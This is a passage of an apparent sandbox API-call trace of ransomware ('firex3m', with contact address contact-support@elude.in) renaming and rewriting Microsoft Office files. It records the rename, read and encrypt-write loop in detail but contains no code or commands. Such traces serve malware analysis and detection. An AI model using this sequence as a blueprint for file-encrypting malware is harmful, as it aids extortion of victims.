returned 0x630000 [0146.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd9f8 | out: hHeap=0x630000) returned 1 [0146.095] GetProcessHeap () returned 0x630000 [0146.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd750 | out: hHeap=0x630000) returned 1 [0146.095] GetProcessHeap () returned 0x630000 [0146.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d074164, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x573fd20, dwReserved1=0x6ecd750, cFileName="ONENOTE_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ONENOT~2.FIR")) returned 0x6d53c0 [0146.096] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0146.096] Sleep (dwMilliseconds=0x1) [0146.105] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML", len=0x41 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML") returned 1 [0146.105] GetProcessHeap () returned 0x630000 [0146.105] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2718) returned 0x71f7c78 [0146.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0146.106] CloseHandle (hObject=0x4dc) returned 1 [0146.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OCCMPV~1.FIR")) returned 0x6d5380 [0146.107] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0146.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\occmpvrd.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0146.107] GetProcessHeap () returned 0x630000 [0146.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6672f8 [0146.107] GetProcessHeap () returned 0x630000 [0146.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x71f0140 [0146.107] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.107] ReadFile (in: hFile=0x4dc, lpBuffer=0x6672f8, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesRead=0x573ff0c*=0x460, lpOverlapped=0x0) returned 1 [0146.112] GetProcessHeap () returned 0x630000 [0146.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.112] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.112] WriteFile (in: hFile=0x4dc, lpBuffer=0x71f0140*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0140*, lpNumberOfBytesWritten=0x573ff0c*=0x460, lpOverlapped=0x0) returned 1 [0146.113] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.113] WriteFile (in: hFile=0x4dc, lpBuffer=0x71f059f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f059f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.113] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.113] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.113] CloseHandle (hObject=0x4dc) returned 1 [0146.113] GetProcessHeap () returned 0x630000 [0146.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0140 | out: hHeap=0x630000) returned 1 [0146.113] GetProcessHeap () returned 0x630000 [0146.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0146.113] GetProcessHeap () returned 0x630000 [0146.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OCCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d09a9f5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0xa5c7496, dwReserved1=0x6672f0, cFileName="OCCMPVRD.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OCCMPV~1.FIR")) returned 0x6d4ec0 [0146.114] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0146.114] Sleep (dwMilliseconds=0x1) [0146.160] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD", len=0x41 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD") returned 1 [0146.160] GetProcessHeap () returned 0x630000 [0146.160] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2714) returned 0x71f7c78 [0146.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.162] CloseHandle (hObject=0x708) returned 1 [0146.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.165] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46b2075, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK3.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~1.FIR")) returned 0x6d5000 [0146.165] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0146.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0146.168] GetProcessHeap () returned 0x630000 [0146.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xcc1) returned 0x71b96c8 [0146.169] GetProcessHeap () returned 0x630000 [0146.169] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xcc1) returned 0x70df38 [0146.169] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.170] ReadFile (in: hFile=0x708, lpBuffer=0x71b96c8, nNumberOfBytesToRead=0xca0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71b96c8*, lpNumberOfBytesRead=0x573ff0c*=0xca0, lpOverlapped=0x0) returned 1 [0146.192] GetProcessHeap () returned 0x630000 [0146.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.192] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.192] WriteFile (in: hFile=0x708, lpBuffer=0x70df38*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70df38*, lpNumberOfBytesWritten=0x573ff0c*=0xca0, lpOverlapped=0x0) returned 1 [0146.192] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.192] WriteFile (in: hFile=0x708, lpBuffer=0x70ebd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ebd7*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.192] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.192] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.192] CloseHandle (hObject=0x708) returned 1 [0146.193] GetProcessHeap () returned 0x630000 [0146.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70df38 | out: hHeap=0x630000) returned 1 [0146.193] GetProcessHeap () returned 0x630000 [0146.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71b96c8 | out: hHeap=0x630000) returned 1 [0146.193] GetProcessHeap () returned 0x630000 [0146.193] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.193] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46b2075, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x46b2075, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1d158d74, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0xa5c7496, dwReserved1=0x71b96c0, cFileName="NETWORK3.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETWOR~1.FIR")) returned 0x6d4ec0 [0146.193] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0146.193] Sleep (dwMilliseconds=0x1) [0147.433] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM", len=0x41 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM") returned 1 [0147.433] GetProcessHeap () returned 0x630000 [0147.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26cc) returned 0x71f7c78 [0147.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0148.812] CloseHandle (hObject=0x718) returned 1 [0148.812] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0148.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.813] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdc2b493, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdc2b493, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdc2b493, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PUBCOL~1.FIR")) returned 0x6d4ec0 [0148.813] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0148.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubcolor.scm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0148.813] GetProcessHeap () returned 0x630000 [0148.813] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7021) returned 0x7227418 [0148.813] GetProcessHeap () returned 0x630000 [0148.813] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7021) returned 0x7066680 [0148.813] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.813] ReadFile (in: hFile=0x718, lpBuffer=0x7227418, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7227418*, lpNumberOfBytesRead=0x573ff0c*=0x7000, lpOverlapped=0x0) returned 1 [0153.412] GetProcessHeap () returned 0x630000 [0153.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee2b0 [0153.412] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.412] WriteFile (in: hFile=0x718, lpBuffer=0x7066680*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7066680*, lpNumberOfBytesWritten=0x573ff0c*=0x7000, lpOverlapped=0x0) returned 1 [0153.413] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.413] WriteFile (in: hFile=0x718, lpBuffer=0x706d67f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x706d67f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.413] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.413] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.413] CloseHandle (hObject=0x718) returned 1 [0153.413] GetProcessHeap () returned 0x630000 [0153.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7066680 | out: hHeap=0x630000) returned 1 [0153.413] GetProcessHeap () returned 0x630000 [0153.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7227418 | out: hHeap=0x630000) returned 1 [0153.414] GetProcessHeap () returned 0x630000 [0153.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee2b0 | out: hHeap=0x630000) returned 1 [0155.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBCOLOR.SCM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdc2b493, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdc2b493, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x21647bb7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7024, dwReserved0=0xa5c7496, dwReserved1=0x7227410, cFileName="PUBCOLOR.SCM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PUBCOL~1.FIR")) returned 0x6d5580 [0155.289] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0155.289] Sleep (dwMilliseconds=0x1) [0155.301] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML", len=0x41 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML") returned 1 [0155.301] GetProcessHeap () returned 0x630000 [0155.301] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b60) returned 0x707d3d0 [0155.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0155.301] CloseHandle (hObject=0x4d4) returned 1 [0155.301] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOSEC~1.FIR")) returned 0x6d5280 [0155.303] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\msosec.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0155.303] GetProcessHeap () returned 0x630000 [0155.303] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6faa830 [0155.303] GetProcessHeap () returned 0x630000 [0155.303] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6faa010 [0155.303] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.303] ReadFile (in: hFile=0x4d4, lpBuffer=0x6faa830, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faa830*, lpNumberOfBytesRead=0x573ff0c*=0xa0, lpOverlapped=0x0) returned 1 [0155.304] GetProcessHeap () returned 0x630000 [0155.304] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176e58 [0155.304] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.305] WriteFile (in: hFile=0x4d4, lpBuffer=0x6faa010*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faa010*, lpNumberOfBytesWritten=0x573ff0c*=0xa0, lpOverlapped=0x0) returned 1 [0155.305] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.305] WriteFile (in: hFile=0x4d4, lpBuffer=0x6faa0af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6faa0af*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.305] SetFilePointerEx 